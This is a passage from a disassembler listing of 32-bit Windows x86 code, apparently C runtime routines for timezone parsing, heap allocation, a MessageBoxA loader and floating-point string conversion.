ds:dword_43F938, eax mov ds:dword_4DE0E8, edx jz short loc_424AB3 mov esi, ecx imul esi, 3Ch add eax, esi mov ds:dword_43F938, eax loc_424AB3: ; CODE XREF: sub_424A3C+69j cmp ds:word_4DE18A, bp jz short loc_424AD7 mov eax, ds:dword_4DE198 cmp eax, ebp jz short loc_424AD7 sub eax, ecx mov ds:dword_43F93C, edx imul eax, 3Ch mov ds:dword_43F940, eax jmp short loc_424AE3 ; --------------------------------------------------------------------------- loc_424AD7: ; CODE XREF: sub_424A3C+7Ej ; sub_424A3C+87j mov ds:dword_43F93C, ebp mov ds:dword_43F940, ebp loc_424AE3: ; CODE XREF: sub_424A3C+99j lea eax, [esp+14h+var_4] mov esi, ds:dword_428180 push eax push ebp push 3Fh mov edi, 220h push ds:off_43F9C4 push ebx push offset dword_4DE0F4 push edi push ds:dword_4DDF84 call esi ; WideCharToMultiByte test eax, eax jz short loc_424B20 cmp dword ptr [esp+arg_C], ebp jnz short loc_424B20 mov eax, ds:off_43F9C4 and byte ptr [eax+3Fh], 0 jmp short loc_424B28 ; --------------------------------------------------------------------------- loc_424B20: ; CODE XREF: sub_424A3C+D1j ; sub_424A3C+D7j mov eax, ds:off_43F9C4 and byte ptr [eax], 0 loc_424B28: ; CODE XREF: sub_424A3C+E2j lea eax, [esp+arg_C] push eax push ebp push 3Fh push ds:off_43F9C8 push ebx push offset dword_4DE148 push edi push ds:dword_4DDF84 call esi ; WideCharToMultiByte test eax, eax jz loc_424C8C cmp [esp+14h+var_4], ebp jnz loc_424C8C mov eax, ds:off_43F9C8 and byte ptr [eax+3Fh], 0 jmp loc_424C94 ; --------------------------------------------------------------------------- loc_424B65: ; CODE XREF: sub_424A3C+2Dj cmp byte ptr [esi], 0 jz loc_424C94 mov eax, ds:dword_4DE19C cmp eax, ebp jz short loc_424B88 push eax push esi call sub_41C260 pop ecx test eax, eax pop ecx jz loc_424C94 loc_424B88: ; CODE XREF: sub_424A3C+139j push ds:dword_4DE19C call sub_41B2A1 push esi call sub_41B1D0 inc eax push eax call sub_41B6C5 add esp, 0Ch cmp eax, ebp mov ds:dword_4DE19C, eax jz loc_424C94 push esi push eax call sub_41C0A0 push 3 push esi push ds:off_43F9C4 call sub_41B7E0 mov eax, ds:off_43F9C4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_424BDD push 1 inc esi pop edi loc_424BDD: ; CODE XREF: sub_424A3C+19Bj push esi call sub_41B8DE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov ds:dword_43F938, ecx loc_424BF4: ; CODE XREF: sub_424A3C+1C7j mov al, [esi] cmp al, 2Bh jz short loc_424C02 cmp al, bl jl short loc_424C05 cmp al, 39h jg short loc_424C05 loc_424C02: ; CODE XREF: sub_424A3C+1BCj inc esi jmp short loc_424BF4 ; --------------------------------------------------------------------------- loc_424C05: ; CODE XREF: sub_424A3C+1C0j ; sub_424A3C+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424C58 inc esi push esi call sub_41B8DE imul eax, 3Ch pop ecx mov ecx, ds:dword_43F938 add ecx, eax mov ds:dword_43F938, ecx loc_424C23: ; CODE XREF: sub_424A3C+1F2j mov al, [esi] cmp al, bl jl short loc_424C30 cmp al, 39h jg short loc_424C30 inc esi jmp short loc_424C23 ; --------------------------------------------------------------------------- loc_424C30: ; CODE XREF: sub_424A3C+1EBj ; sub_424A3C+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424C58 inc esi push esi call sub_41B8DE pop ecx mov ecx, ds:dword_43F938 add ecx, eax mov ds:dword_43F938, ecx loc_424C4B: ; CODE XREF: sub_424A3C+21Aj mov al, [esi] cmp al, bl jl short loc_424C58 cmp al, 39h jg short loc_424C58 inc esi jmp short loc_424C4B ; --------------------------------------------------------------------------- loc_424C58: ; CODE XREF: sub_424A3C+1CCj ; sub_424A3C+1F7j ... cmp edi, ebp jz short loc_424C64 neg ecx mov ds:dword_43F938, ecx loc_424C64: ; CODE XREF: sub_424A3C+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov ds:dword_43F93C, eax jz short loc_424C8C push 3 push esi push ds:off_43F9C8 call sub_41B7E0 mov eax, ds:off_43F9C8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424C94 ; --------------------------------------------------------------------------- loc_424C8C: ; CODE XREF: sub_424A3C+10Bj ; sub_424A3C+115j ... mov eax, ds:off_43F9C8 and byte ptr [eax], 0 loc_424C94: ; CODE XREF: sub_424A3C+40j ; sub_424A3C+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_424A3C endp ; =============== S U B R O U T I N E ======================================= sub_424C9A proc near ; CODE XREF: seg000:0042292Ep arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp ds:dword_43F93C, edi jnz short loc_424CAE loc_424CA7: ; CODE XREF: sub_424C9A+148j ; sub_424C9A+150j ... xor eax, eax jmp loc_424DFA ; --------------------------------------------------------------------------- loc_424CAE: ; CODE XREF: sub_424C9A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, ds:dword_43F9D0 jnz short loc_424CCC cmp eax, ds:dword_43F9E0 jz loc_424DCE loc_424CCC: ; CODE XREF: sub_424C9A+24j cmp ds:dword_4DE0E8, edi jz loc_424DA4 movzx ecx, ds:word_4DE196 push ecx cmp ds:word_4DE188, di movzx ecx, ds:word_4DE194 push ecx movzx ecx, ds:word_4DE192 push ecx movzx ecx, ds:word_4DE190 push ecx jnz short loc_424D1E movzx ecx, ds:word_4DE18C push edi push ecx movzx ecx, ds:word_4DE18E push ecx movzx ecx, ds:word_4DE18A push ecx push eax push ebx jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424D1E: ; CODE XREF: sub_424C9A+65j movzx ecx, ds:word_4DE18E push ecx push edi movzx ecx, ds:word_4DE18A push edi push ecx push eax push edi loc_424D32: ; CODE XREF: sub_424C9A+82j push ebx call sub_424E46 movzx eax, ds:word_4DE142 add esp, 2Ch cmp ds:word_4DE134, di push eax movzx eax, ds:word_4DE140 push eax movzx eax, ds:word_4DE13E push eax movzx eax, ds:word_4DE13C push eax jnz short loc_424D8C movzx eax, ds:word_4DE138 push edi push eax movzx eax, ds:word_4DE13A push eax movzx eax, ds:word_4DE136 push eax push dword ptr [esi+14h] push ebx loc_424D81: ; CODE XREF: sub_424C9A+108j push edi call sub_424E46 add esp, 2Ch jmp short loc_424DCE ; --------------------------------------------------------------------------- loc_424D8C: ; CODE XREF: sub_424C9A+C8j movzx eax, ds:word_4DE13A push eax push edi movzx eax, ds:word_4DE136 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424D81 ; --------------------------------------------------------------------------- loc_424DA4: ; CODE XREF: sub_424C9A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424E46 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424E46 add esp, 58h loc_424DCE: ; CODE XREF: sub_424C9A+2Cj ; sub_424C9A+F0j mov edx, ds:dword_43F9D4 mov eax, ds:dword_43F9E4 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424DFE cmp ecx, edx jl loc_424CA7 cmp ecx, eax jg loc_424CA7 cmp ecx, edx jle short loc_424E12 cmp ecx, eax jge short loc_424E12 loc_424DF8: ; CODE XREF: sub_424C9A+166j ; sub_424C9A+16Aj mov eax, ebx loc_424DFA: ; CODE XREF: sub_424C9A+Fj ; sub_424C9A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFE: ; CODE XREF: sub_424C9A+144j cmp ecx, eax jl short loc_424DF8 cmp ecx, edx jg short loc_424DF8 cmp ecx, eax jle short loc_424E12 cmp ecx, edx jl loc_424CA7 loc_424E12: ; CODE XREF: sub_424C9A+158j ; sub_424C9A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424E39 xor ecx, ecx cmp eax, ds:dword_43F9D8 setnl cl loc_424E35: ; CODE XREF: sub_424C9A+1AAj mov eax, ecx jmp short loc_424DFA ; --------------------------------------------------------------------------- loc_424E39: ; CODE XREF: sub_424C9A+18Ej xor ecx, ecx cmp eax, ds:dword_43F9E8 setl cl jmp short loc_424E35 sub_424C9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E46 proc near ; CODE XREF: sub_424C9A+99p ; sub_424C9A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424EE1 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424E71 shl esi, 2 mov eax, ds:dword_43F9E8[esi] jmp short loc_424E7A ; --------------------------------------------------------------------------- loc_424E71: ; CODE XREF: sub_424E46+1Ej shl esi, 2 mov eax, ds:dword_43FA1C[esi] loc_424E7A: ; CODE XREF: sub_424E46+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424EB4 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424EBE ; --------------------------------------------------------------------------- loc_424EB4: ; CODE XREF: sub_424E46+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424EBE: ; CODE XREF: sub_424E46+6Cj cmp [ebp+arg_10], 5 jnz short loc_424EFC cmp [ebp+arg_8], 0 jnz short loc_424ED2 mov esi, ds:dword_43F9EC[esi] jmp short loc_424ED8 ; --------------------------------------------------------------------------- loc_424ED2: ; CODE XREF: sub_424E46+82j mov esi, ds:dword_43FA20[esi] loc_424ED8: ; CODE XREF: sub_424E46+8Aj cmp ecx, esi jle short loc_424EFC sub ecx, 7 jmp short loc_424EFC ; --------------------------------------------------------------------------- loc_424EE1: ; CODE XREF: sub_424E46+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424EF2 mov ecx, ds:dword_43F9E8[eax*4] jmp short loc_424EF9 ; --------------------------------------------------------------------------- loc_424EF2: ; CODE XREF: sub_424E46+A1j mov ecx, ds:dword_43FA1C[eax*4] loc_424EF9: ; CODE XREF: sub_424E46+AAj add ecx, [ebp+arg_18] loc_424EFC: ; CODE XREF: sub_424E46+7Cj ; sub_424E46+94j ... cmp [ebp+arg_0], 1 jnz short loc_424F2D mov eax, [ebp+arg_1C] mov ds:dword_43F9D4, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov ds:dword_43F9D0, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_43F9D8, eax jmp short loc_424F82 ; --------------------------------------------------------------------------- loc_424F2D: ; CODE XREF: sub_424E46+BAj mov eax, [ebp+arg_1C] mov ds:dword_43F9E4, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, ds:dword_43F940 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_43F9E8, eax jns short loc_424F65 add eax, 5265C00h dec ecx mov ds:dword_43F9E8, eax jmp short loc_424F76 ; --------------------------------------------------------------------------- loc_424F65: ; CODE XREF: sub_424E46+110j mov edx, 5265C00h cmp eax, edx jl short loc_424F7C sub eax, edx inc ecx mov ds:dword_43F9E8, eax loc_424F76: ; CODE XREF: sub_424E46+11Dj mov ds:dword_43F9E4, ecx loc_424F7C: ; CODE XREF: sub_424E46+126j mov ds:dword_43F9E0, ebx loc_424F82: ; CODE XREF: sub_424E46+E5j pop esi pop ebx pop ebp retn sub_424E46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F86 proc near ; CODE XREF: sub_42294B+22p ; sub_42294B+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424FA7 test esi, esi jnz short loc_424FA1 push 1 pop esi loc_424FA1: ; CODE XREF: sub_424F86+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424FA7: ; CODE XREF: sub_424F86+12j ; sub_424F86+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425006 mov eax, ds:dword_4DF548 cmp eax, 3 jnz short loc_424FD2 mov eax, [ebp+arg_0] cmp eax, ds:dword_4DF540 ja short loc_424FF1 push eax call sub_41E3EB mov edi, eax pop ecx test edi, edi jnz short loc_42501C jmp short loc_424FF1 ; --------------------------------------------------------------------------- loc_424FD2: ; CODE XREF: sub_424F86+30j cmp eax, 2 jnz short loc_424FF1 cmp esi, ds:dword_43EF84 ja short loc_424FF1 mov eax, esi shr eax, 4 push eax call sub_41EE8E mov edi, eax pop ecx test edi, edi jnz short loc_425030 loc_424FF1: ; CODE XREF: sub_424F86+3Bj ; sub_424F86+4Aj ... push esi push 8 push ds:dword_4DF544 call ds:dword_428148 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_42502A loc_425006: ; CODE XREF: sub_424F86+26j cmp ds:dword_4DDF3C, 0 jz short loc_42502A push esi call sub_41F532 test eax, eax pop ecx jz short loc_425033 jmp short loc_424FA7 ; --------------------------------------------------------------------------- loc_42501C: ; CODE XREF: sub_424F86+48j push [ebp+arg_0] loc_42501F: ; CODE XREF: sub_424F86+ABj push 0 push edi call sub_41B780 add esp, 0Ch loc_42502A: ; CODE XREF: sub_424F86+7Ej ; sub_424F86+87j mov eax, edi loc_42502C: ; CODE XREF: sub_424F86+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_425030: ; CODE XREF: sub_424F86+69j push esi jmp short loc_42501F ; --------------------------------------------------------------------------- loc_425033: ; CODE XREF: sub_424F86+92j xor eax, eax jmp short loc_42502C sub_424F86 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4229F0 loc_425037: ; CODE XREF: sub_4229F0+Ej push esi push edi push 3 xor edi, edi pop esi cmp ds:dword_4DF300, esi jle short loc_42508A loc_425046: ; CODE XREF: sub_4229F0+2698j mov eax, ds:dword_4DE2E4 mov eax, [eax+esi*4] test eax, eax jz short loc_425081 test byte ptr [eax+0Ch], 83h jz short loc_425065 push eax call sub_41B24B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425065 inc edi loc_425065: ; CODE XREF: sub_4229F0+2666j ; sub_4229F0+2672j cmp esi, 14h jl short loc_425081 mov eax, ds:dword_4DE2E4 push dword ptr [eax+esi*4] call sub_41B2A1 mov eax, ds:dword_4DE2E4 pop ecx and dword ptr [eax+esi*4], 0 loc_425081: ; CODE XREF: sub_4229F0+2660j ; sub_4229F0+2678j inc esi cmp esi, ds:dword_4DF300 jl short loc_425046 loc_42508A: ; CODE XREF: sub_4229F0+2654j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4229F0 ; =============== S U B R O U T I N E ======================================= sub_42508F proc near ; CODE XREF: seg000:004231A1p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_4250A0 add esp, 0Ch retn sub_42508F endp ; =============== S U B R O U T I N E ======================================= sub_4250A0 proc near ; CODE XREF: sub_42508F+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test ds:byte_4DF421[eax], cl jnz short loc_4250CD cmp [esp+arg_4], 0 jz short loc_4250C6 movzx eax, ds:word_43EF92[eax*2] and eax, [esp+arg_4] jmp short loc_4250C8 ; --------------------------------------------------------------------------- loc_4250C6: ; CODE XREF: sub_4250A0+16j xor eax, eax loc_4250C8: ; CODE XREF: sub_4250A0+24j test eax, eax jnz short loc_4250CD retn ; --------------------------------------------------------------------------- loc_4250CD: ; CODE XREF: sub_4250A0+Fj ; sub_4250A0+2Aj push 1 pop eax retn sub_4250A0 endp ; =============== S U B R O U T I N E ======================================= sub_4250D1 proc near ; CODE XREF: sub_4238CD+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp ds:dword_4DE1A4, ebx push esi push edi jnz short loc_425120 push offset aUser32_dll ; "user32.dll" call ds:dword_4280B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_425156 mov esi, ds:dword_4280BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov ds:dword_4DE1A4, eax jz short loc_425156 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_4DE1A8, eax call esi mov ds:dword_4DE1AC, eax loc_425120: ; CODE XREF: sub_4250D1+Bj mov eax, ds:dword_4DE1A8 test eax, eax jz short loc_42513F call eax mov ebx, eax test ebx, ebx jz short loc_42513F mov eax, ds:dword_4DE1AC test eax, eax jz short loc_42513F push ebx call eax mov ebx, eax loc_42513F: ; CODE XREF: sub_4250D1+56j ; sub_4250D1+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call ds:dword_4DE1A4 loc_425152: ; CODE XREF: sub_4250D1+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_425156: ; CODE XREF: sub_4250D1+1Cj ; sub_4250D1+33j xor eax, eax jmp short loc_425152 sub_4250D1 endp ; --------------------------------------------------------------------------- loc_42515A: ; CODE XREF: sub_423C7E+271p push ebp mov ebp, esp mov eax, 1000h call sub_41BD10 push ebx mov ebx, [ebp+8] push esi xor esi, esi cmp ebx, ds:dword_4DE2E0 jnb loc_42528F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_4DE1E0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42528F push 1 push esi push ebx call sub_422A04 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_425299 push 2 push esi push ebx call sub_422A04 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425299 push edi mov edi, [ebp+0Ch] sub edi, eax test edi, edi jle short loc_42523C push 1000h lea eax, [ebp-1000h] push esi push eax call sub_41B780 push 8000h push ebx call sub_425D94 add esp, 14h mov [ebp+0Ch], eax loc_4251F0: ; CODE XREF: seg000:00425217j mov eax, 1000h cmp edi, eax jge short loc_4251FB mov eax, edi loc_4251FB: ; CODE XREF: seg000:004251F7j push eax lea eax, [ebp-1000h] push eax push ebx call loc_422BF6 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_425219 sub edi, eax test edi, edi jle short loc_42522F jmp short loc_4251F0 ; --------------------------------------------------------------------------- loc_425219: ; CODE XREF: seg000:0042520Fj cmp ds:dword_4DDEB8, 5 jnz short loc_42522C mov ds:dword_4DDEB4, 0Dh loc_42522C: ; CODE XREF: seg000:00425220j or esi, 0FFFFFFFFh loc_42522F: ; CODE XREF: seg000:00425215j push dword ptr [ebp+0Ch] push ebx call sub_425D94 pop ecx pop ecx jmp short loc_42527C ; --------------------------------------------------------------------------- loc_42523C: ; CODE XREF: seg000:004251CBj jge short loc_42527C push 0 loc_425240: ; DATA XREF: seg002:off_43ADB0o push dword ptr [ebp+0Ch] push ebx call sub_422A04 push ebx call sub_423BA6 add esp, 10h push eax call near ptr 0B10000h cmp cl, [ebx+1BDEF7F0h] div bh fimul word ptr [esi-7Dh] ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- push dword ptr [ebp+15h] mov ds:dword_4DDEB4, 0Dh call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4DDEB8, eax loc_42527C: ; CODE XREF: seg000:0042523Aj ; seg000:loc_42523Cj push 0 push dword ptr [ebp+8] push ebx call sub_422A04 add esp, 0Ch mov eax, esi pop edi jmp short loc_42529C ; --------------------------------------------------------------------------- loc_42528F: ; CODE XREF: seg000:00425174j ; seg000:00425190j mov ds:dword_4DDEB4, 9 loc_425299: ; CODE XREF: seg000:004251A8j ; seg000:004251BDj or eax, 0FFFFFFFFh loc_42529C: ; CODE XREF: seg000:0042528Dj pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4252A0 proc near ; CODE XREF: sub_42441F+2Bp ; sub_42441F+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_4252B6 cmp ecx, esi jnb short loc_4252B9 loc_4252B6: ; CODE XREF: sub_4252A0+10j push 1 pop eax loc_4252B9: ; CODE XREF: sub_4252A0+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_4252A0 endp ; =============== S U B R O U T I N E ======================================= sub_4252C1 proc near ; CODE XREF: sub_42537A+40p ; sub_42537A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_4252A0 add esp, 0Ch test eax, eax jz short loc_4252F3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_4252A0 add esp, 0Ch test eax, eax jz short loc_4252F3 inc dword ptr [esi+8] loc_4252F3: ; CODE XREF: sub_4252C1+19j ; sub_4252C1+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_4252A0 add esp, 0Ch test eax, eax jz short loc_42530B inc dword ptr [esi+8] loc_42530B: ; CODE XREF: sub_4252C1+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_4252A0 add esp, 0Ch pop edi pop esi retn sub_4252C1 endp ; =============== S U B R O U T I N E ======================================= sub_42531F proc near ; CODE XREF: sub_42537A+30p ; sub_42537A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_42531F endp ; =============== S U B R O U T I N E ======================================= sub_42534D proc near ; CODE XREF: sub_425912+1C8p ; sub_425E0A+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_42534D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42537A proc near ; CODE XREF: sub_425441+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_4253EE push edi mov [ebp+arg_8], eax loc_4253A1: ; CODE XREF: sub_42537A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_42531F push ebx call sub_42531F lea eax, [ebp+var_10] push eax push ebx call sub_4252C1 push ebx call sub_42531F mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_4252C1 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_4253A1 xor edx, edx pop edi loc_4253EE: ; CODE XREF: sub_42537A+21j ; sub_42537A+9Fj cmp [ebx+8], edx jnz short loc_42541B mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_4253EE ; --------------------------------------------------------------------------- loc_42541B: ; CODE XREF: sub_42537A+77j mov esi, 8000h loc_425420: ; CODE XREF: sub_42537A+B9j test [ebx+8], esi jnz short loc_425435 push ebx call sub_42531F add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425420 ; --------------------------------------------------------------------------- loc_425435: ; CODE XREF: sub_42537A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42537A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425441 proc near ; CODE XREF: sub_424768+17p ; sub_424795+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42547C: ; CODE XREF: sub_425441+52j mov cl, [edi] cmp cl, 20h jz short loc_425492 cmp cl, 9 jz short loc_425492 cmp cl, 0Ah jz short loc_425492 cmp cl, 0Dh jnz short loc_425495 loc_425492: ; CODE XREF: sub_425441+40j ; sub_425441+45j ... inc edi jmp short loc_42547C ; --------------------------------------------------------------------------- loc_425495: ; CODE XREF: sub_425441+4Fj push 4 pop esi loc_425498: ; CODE XREF: sub_425441+AEj ; sub_425441+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42571B ; default ; jumptable 004254A4 case 10 jmp ds:off_4258E2[eax*4] ; switch jump loc_4254AB: ; DATA XREF: seg000:off_4258E2o cmp bl, 31h ; jumptable 004254A4 case 0 jl short loc_4254BC cmp bl, 39h jg short loc_4254BC loc_4254B5: ; CODE XREF: sub_425441+C4j ; sub_425441+118j push 3 jmp loc_4256D9 ; --------------------------------------------------------------------------- loc_4254BC: ; CODE XREF: sub_425441+6Dj ; sub_425441+72j cmp bl, ds:byte_43F198 jnz short loc_4254CB loc_4254C4: ; CODE XREF: sub_425441+124j push 5 jmp loc_425711 ; --------------------------------------------------------------------------- loc_4254CB: ; CODE XREF: sub_425441+81j movsx eax, bl sub eax, 2Bh jz short loc_4254F1 dec eax dec eax jz short loc_4254E5 sub eax, 3 jnz loc_4257B4 jmp loc_425574 ; --------------------------------------------------------------------------- loc_4254E5: ; CODE XREF: sub_425441+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425498 ; --------------------------------------------------------------------------- loc_4254F1: ; CODE XREF: sub_425441+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425498 ; --------------------------------------------------------------------------- loc_4254FA: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o cmp bl, 31h ; jumptable 004254A4 case 1 mov [ebp+var_10], edx jl short loc_425507 cmp bl, 39h jle short loc_4254B5 loc_425507: ; CODE XREF: sub_425441+BFj cmp bl, ds:byte_43F198 jz loc_4255CF cmp bl, 2Bh jz short loc_425549 cmp bl, 2Dh jz short loc_425549 cmp bl, 30h jz short loc_425574 loc_425522: ; CODE XREF: sub_425441+207j cmp bl, 43h jle loc_4257B4 cmp bl, 45h jle short loc_425542 cmp bl, 63h jle loc_4257B4 cmp bl, 65h jg loc_4257B4 loc_425542: ; CODE XREF: sub_425441+EDj push 6 jmp loc_425711 ; --------------------------------------------------------------------------- loc_425549: ; CODE XREF: sub_425441+D5j ; sub_425441+DAj ... dec edi push 0Bh jmp loc_425711 ; --------------------------------------------------------------------------- loc_425551: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o cmp bl, 31h ; jumptable 004254A4 case 2 jl short loc_42555F cmp bl, 39h jle loc_4254B5 loc_42555F: ; CODE XREF: sub_425441+113j cmp bl, ds:byte_43F198 jz loc_4254C4 cmp bl, 30h jnz loc_425729 loc_425574: ; CODE XREF: sub_425441+9Fj ; sub_425441+DFj mov eax, edx jmp loc_425498 ; --------------------------------------------------------------------------- loc_42557B: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o mov 